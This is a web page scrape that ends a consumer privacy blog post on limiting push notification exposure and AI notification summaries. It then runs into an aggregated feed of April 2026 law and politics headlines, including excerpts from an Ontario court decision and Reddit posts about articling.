most notifications will require at least unlocking the device to see them. Open Settings > Notifications > Notifications on lock screen and disable “Show sensitive content.” Control What Notifications AI Tools Can Access In an attempt to make notifications easier to skim, both Android and iOS offer optional ways to get notification summaries using their AI tools that summarize the content of notifications. On an individual app level, WhatsApp offers this as well. Some of these summarization tools, like Apple’s, run on the device, while others, like WhatsApp’s, do not. This can all be a lot to keep track of, and sending data off device may create some level of risk for some messages. Since this is a bit more complicated, we have another blog post that walks through the steps to take to protect messaging from accidentally ending up in AI tools built into Apple and Google's devices. For WhatsApp specifically, we have a blog detailing when you might want to turn on the app’s “Advanced Chat Privacy” feature, which can disable summaries for both yourself and others in the chat. Balancing security, privacy, and usability with something like push notifications is a complicated task. At the very least, Apple and Google should better ensure that the content of these notifications isn’t transmitted over their servers in plain text. The companies need to also make sure that device operating systems don’t back up the notification database to the cloud, and when an app is deleted, that all notification data is purged. We appreciate that apps like Signal allow you to control what’s visible with notifications on a per-app basis, and we’d like to see this level of granularity of choices in other secure messaging tools, like WhatsApp. Likewise, more apps should handle push notifications similarly to the way Signal does, where a ping is sent to wake up the app to check for messages, and the content of that message is never sent across servers.

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  • Americans debate tax burden as it continues rise
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    by Keith Preston on April 15, 2026 at 9:38 pm

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  • America Needs Another George F. Kennan Today
    by Keith Preston on April 15, 2026 at 9:29 pm

    It’s Better to Contain Than Destroy Your Enemy Kenneth Schmidt Apr 15, 2026 America Needs Another George F. Kennan Today George Kennan pretty much got nearly everything right when it came to foreign policy both in his long career as a State Department functionary and later right up The post America Needs Another George F. Kennan Today first appeared on Attack the System.

  • Cop Gets 5 Years in Prison For This Video [The Civil Rights Lawyer]
    by /u/Tobits_Dog on April 15, 2026 at 9:10 pm

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  • CA8 - Rejects Injunction Against Transgender Participation in Female Athletics Under Title IX
    by /u/riptide123 on April 15, 2026 at 8:47 pm

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  • Jackson Says Court’s Emergency Orders Risk ‘Zombie’ Proceedings
    by /u/bloomberglaw on April 15, 2026 at 8:46 pm

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  • SIU charges Toronto police officer in fatal shooting outside Niagara Falls hotel
    by /u/Few_Negotiation832 on April 15, 2026 at 8:26 pm

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  • Divisional Court Lambasts Ontario Human Rights Tribunal for Finding Documents were Illegible
    by /u/WhiteNoise---- on April 15, 2026 at 8:14 pm

    WNGH's position is actually incredible. Its own lawyer admitted that they could read the documents, but argued that the court should defer to the tribunal's conclusion that the documents were not legible. https://www.canlii.org/en/on/onscdc/doc/2026/2026onsc2061/2026onsc2061.html [[1]()] Robert Paquette’s application to the Human Rights Tribunal of Ontario (“the Tribunal”) was dismissed as abandoned based on his failure to follow a direction to resubmit documents which an adjudicator concluded were “faint and blurry and cannot be read.” While the documents are faint, they can be read, as counsel for the respondents acknowledge. The decision was therefore unreasonable and must be set aside. ... [[11]()] In our view, the Tribunal’s decision to dismiss the application as abandoned because of the applicant’s failure to file legible documents was entirely unreasonable for the simple reason that the documents he filed were legible. Although the letters on them are faint, we had no difficulty reading the documents. Counsel for the WNGH and the Tribunal both acknowledged during the hearing that they could also read the documents. [[12]()] Counsel for WNGH nonetheless submits that we should defer to the Tribunal’s conclusion that the documents were illegible. We see no basis for deference. We are in as good a position as the Tribunal to assess the legibility of the documents, and the Tribunal’s conclusions were not based on any type of specialized expertise. Insofar as the Tribunal’s conclusion that the documents were illegible is a finding of fact, it is clearly unreasonable, unsupported by the evidence, and reflects palpable and overriding error: H.L. v. Canada (Attorney General), 2005 SCC 25, [2005] 1 S.C.R. 401, at para. 55. [[13]()] Counsel for WNGH also submits that the Tribunal’s decision can be upheld on the basis that the applicant initially filed his documents six days late and was two days late in responding to the Tribunal’s April 29, 2024 e-mail requiring him to submit legible copies of the documents by May 13, 2024. We do not accept this submission for three reasons. First, the lateness was not the basis on which the Tribunal dismissed the application. Second, the applicant had already complied with the request, since the initial documents were legible. Finally, even if the applicant was a few days late in responding, he cannot be said to have been deliberately refusing to cooperate, which was the case in Eisenberg v. Seneca College of Applied Arts and Technology, 2012 ONSC 4802 (Div. Ct.), on which the Tribunal relied. [[14]()] We recognize that the proceedings before the Tribunal have been ongoing for some time, as counsel for WNGH points out. However, it was WNGH which requested the Tribunal to dismiss the application as abandoned based on the applicant’s failure to provide new readable copies of documents which its counsel now acknowledges were legible to begin with. submitted by /u/WhiteNoise---- [link] [comments]

  • Happy Tax Day
    by /u/Full-Mouse8971 on April 15, 2026 at 7:37 pm

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  • Is it worth finishing articling if I don't intend to practice after?
    by /u/IndependentCharity71 on April 15, 2026 at 7:06 pm

    I have 8 mo left of articling (I've been at my current firm for 6 mo but the first 2 weren't counted). I passed the PREP CPLED course already. But I've decided I don't want to work in the field anymore -- I don't enjoy or mesh with the work and I don't feel that moving to a different practice would help. Therefore is there any point in finishing my articling or should I cut my losses and move on? submitted by /u/IndependentCharity71 [link] [comments]

  • Trump, 79, Makes Wild Error While Warning Supreme Court Justice Alito | The president doesn’t seem to remember what happened to Ruth Bader Ginsburg.
    by /u/thenewrepublic on April 15, 2026 at 6:21 pm

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  • Ontario judge decries justice system for prioritizing foreign-born criminals over their Canadian victims
    by /u/Immediate-Link490 on April 15, 2026 at 5:40 pm

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  • ‘Textbook blasphemy’: Notre Dame students surprised and dismayed by Trump’s feud with Pope Leo
    by /u/cnn on April 15, 2026 at 4:28 pm

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  • The Supreme Court Has a Chance to Revolutionize Its Approach to the Law
    by /u/Slate on April 15, 2026 at 4:22 pm

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  • Trump, 79, Hints That Supreme Court Justices Are Too Old
    by /u/thedailybeast on April 15, 2026 at 4:18 pm

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  • 4/15/26: Iran Troop Surge, Dire Econ Warnings, Italy Clashes With Israel, Professor Pape & MORE
    by Keith Preston on April 15, 2026 at 4:12 pm

    Emily and Saagar discuss troops surged to Iran, dire economic warnings, JD Vance begs young voters, Italy clashes with Israel, Lebanon invasion doomed, scientists go missing, Professor Pape on Trump ceasefire. Lauren Conlin: https://x.com/conlin_lauren Shaiel Ben-Ephraim: https://x.com/academic_la Robert Pape: https://escalationtrap.substack.com/ Timestamps: (00:00)Intro (3:59)THOUSANDS Of US Troops SURGED To The post 4/15/26: Iran Troop Surge, Dire Econ Warnings, Italy Clashes With Israel, Professor Pape & MORE first appeared on Attack the System.

  • New call (soon!) Fee split? What do people do?
    by /u/Baking_Aggressively on April 15, 2026 at 3:55 pm

    TLDR: articling in BC, call date 3 weeks from now, I'm staying on with my boss, family law + general lit. What do I ask for compensation? We're going to be having "the talk" with my boss in the next few days. He said he's totally open to any and all suggestions. Is 2/3 fee split common? or 50/50? Do I ask for, say, $200/hour, and then he can bill me out at whatever he wants? I don't want a salary. I want "eat what you kill". But I don't know what to offer. Thoughts? What's common? What else could I offer? submitted by /u/Baking_Aggressively [link] [comments]

  • The stench of political death now surrounds Donald Trump
    by /u/theipaper on April 15, 2026 at 3:53 pm

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